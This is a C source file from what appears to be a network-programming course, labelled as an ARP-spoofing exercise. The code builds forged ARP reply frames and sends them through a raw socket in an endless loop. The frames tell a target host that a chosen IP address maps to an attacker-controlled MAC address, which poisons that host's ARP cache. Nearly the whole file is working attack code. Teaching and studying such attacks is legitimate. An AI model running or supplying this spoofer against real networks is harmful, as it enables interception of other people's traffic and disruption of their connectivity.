qfedu-network-advanced-level/day6/n6.c

93 lines
4.2 KiB
C
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

/* ARP欺骗-练习3
实时响应ARP报文将源MAC地址的全置0.
*/
#include <arpa/inet.h> // inet_addr
#include <netinet/in.h> // in_addr
#include <netinet/ether.h> // ether_aton
#include <netpacket/packet.h> // sockaddr_ll
#include <sys/ioctl.h> // ioctl
#include <net/if.h> // ifreq
#include <unistd.h> // close
#include <string.h> // bzero
#include <stdio.h> // printf
#include <pthread.h> // pthread_create
#include <sys/types.h> // open
#include <sys/stat.h> // open
// 发送原始数据报
ssize_t send_datapacket(int fd, unsigned char *buf, ssize_t buf_size, const char *ether_name);
void *arp_packetdata_send(void *arg)
{
// 创建原始套接字
int sock_fd = *((int *)arg);
while (1)
{
// 发送ARP欺骗应答报文
unsigned char src_ip_pointer[] = {10, 12, 156, 204}; // 发送的 IP 地址
unsigned char dst_ip_pointer[] = {10, 12, 156, 178}; // 目标 IP 地址 点分十进制转换为数字字符串
unsigned char dst_mac[] = {0x00, 0xd8, 0x61, 0x03, 0x45, 0x65}; // 目标 MAC 地址
unsigned char arp_buf[] = {
dst_mac[0], dst_mac[1], dst_mac[2], dst_mac[3], dst_mac[4], dst_mac[5], // 目的MAC地址
// 00:0c:29:85:cc:67
// 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 源MAC地址
0x00, 0x0c, 0x29, 0x85, 0xcc, 0x67, // 源MAC地址
0x08, 0x06, // ARP帧类型
0x00, 0x01, // 硬件类型
0x08, 0x00, // 协议类型(IP协议0x0800)
0x06, 0x04, // 硬件地址长度(MAC地址长度) 和 协议地址长度(IP 地址长度)
0x00, 0x02, // 操作类型(ARP应答0x0002)
0x00, 0x0c, 0x29, 0x85, 0xcc, 0x67, // 发送方MAC地址
src_ip_pointer[0], src_ip_pointer[1], src_ip_pointer[2], src_ip_pointer[3], // 发送方IP地址
dst_mac[0], dst_mac[1], dst_mac[2], dst_mac[3], dst_mac[4], dst_mac[5], // 目的MAC地址
dst_ip_pointer[0], dst_ip_pointer[1], dst_ip_pointer[2], dst_ip_pointer[3] // 目的IP地址
};
// 单播发送ARP应答报文
ssize_t len = send_datapacket(sock_fd, arp_buf, sizeof(arp_buf), "ens38"); // ens38 为网卡名
}
}
int main(int argc, char const *argv[])
{
// 创建原始套接字
int sock_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (sock_fd < 0)
{
perror("raw socket");
return -1;
}
// 创建线程发送ARP欺骗应答报文
pthread_t tid;
pthread_create(&tid, NULL, arp_packetdata_send, &sock_fd);
pthread_join(tid, NULL);
close(sock_fd);
return 0;
}
ssize_t send_datapacket(int fd, unsigned char *buf, ssize_t buf_size, const char *ether_name)
{
// 1. 根据网卡名获取网卡索引
struct ifreq ether_req;
bzero(&ether_req, sizeof(ether_req)); // 清空结构体 ether_req
strncpy(ether_req.ifr_name, ether_name, IF_NAMESIZE); // # define ifr_name ifr_ifrn.ifrn_name // 将网卡名复制到 ether_req.ifr_name 中
// 通过网卡名查找网卡索引 SIOCGIFINDEX 为获取网卡索引
if (ioctl(fd, SIOCGIFINDEX, &ether_req) == -1)
{
perror("ioctl");
return -1;
}
// 2. 选择发送数据的网络接口索引
struct sockaddr_ll sll;
bzero(&sll, sizeof(sll)); // 清空结构体 sll
sll.sll_ifindex = ether_req.ifr_ifindex; // # define ifr_ifindex ifr_ifru.ifru_ivalue // 选择发送数据的网络接口索引
// 3. 发送数据
ssize_t len = sendto(fd, buf, buf_size, 0, (struct sockaddr *)&sll, sizeof(sll));
return len;
}